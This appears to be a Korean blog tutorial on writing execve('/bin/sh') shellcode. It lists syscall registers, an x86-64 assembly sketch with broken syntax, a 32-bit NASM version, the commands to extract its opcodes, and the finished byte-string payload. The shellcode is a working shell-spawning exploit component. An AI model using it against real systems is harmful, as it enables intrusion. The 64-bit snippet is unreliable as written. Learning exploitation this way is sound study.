Post

System Hacking - execve shellcode

execve

execve shellcode는 임의의 프로그램을 실행시키는 셸코드다.

/bin/sh 프로그램을 실행시키는 execve shellcode를 작성해보자.

execve shellcode는 execve syscall만으로 구성된다.

1
2
3
4
5
execve syscall arguments
rax : 0x3b
rdi : const char *filename
rsi : const char *const *argv   #argv는 실행 파일에 넘겨줄 인자
rdx : const char *const *envp   #envp는 환경변수

execve(“/bin/sh”, null, null)

sh만 실행할 것이므로 argv, envp 는 null로 설정한다.

1
2
3
4
5
6
mov rax 0x3b
push 0x68732f6e69622f
mov rdi rsp
xor rsi rsi
xor rdx rdx
syscall

objdump로 shellcode 추출

shellcode -> byte code(opcode)

; File name: shellcode.asm
section .text
global _start
_start:
xor    eax, eax
push   eax
push   0x68732f2f
push   0x6e69622f
mov    ebx, esp
xor    ecx, ecx
xor    edx, edx
mov    al, 0xb
int    0x80
1
2
3
4
5
6
7
8
9
10
11
$ sudo apt-get install nasm
$ nasm -f elf shellcode.asm
$ objdump -d shellcode.o

$ objcopy --dump-section .text=shellcode.bin shellcode.o
$ xxd shellcode.bin

# execve /bin/sh shellcode:
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"

#flow : .asm -> .o -> .bin -> string
This post is licensed under CC BY 4.0 by the author.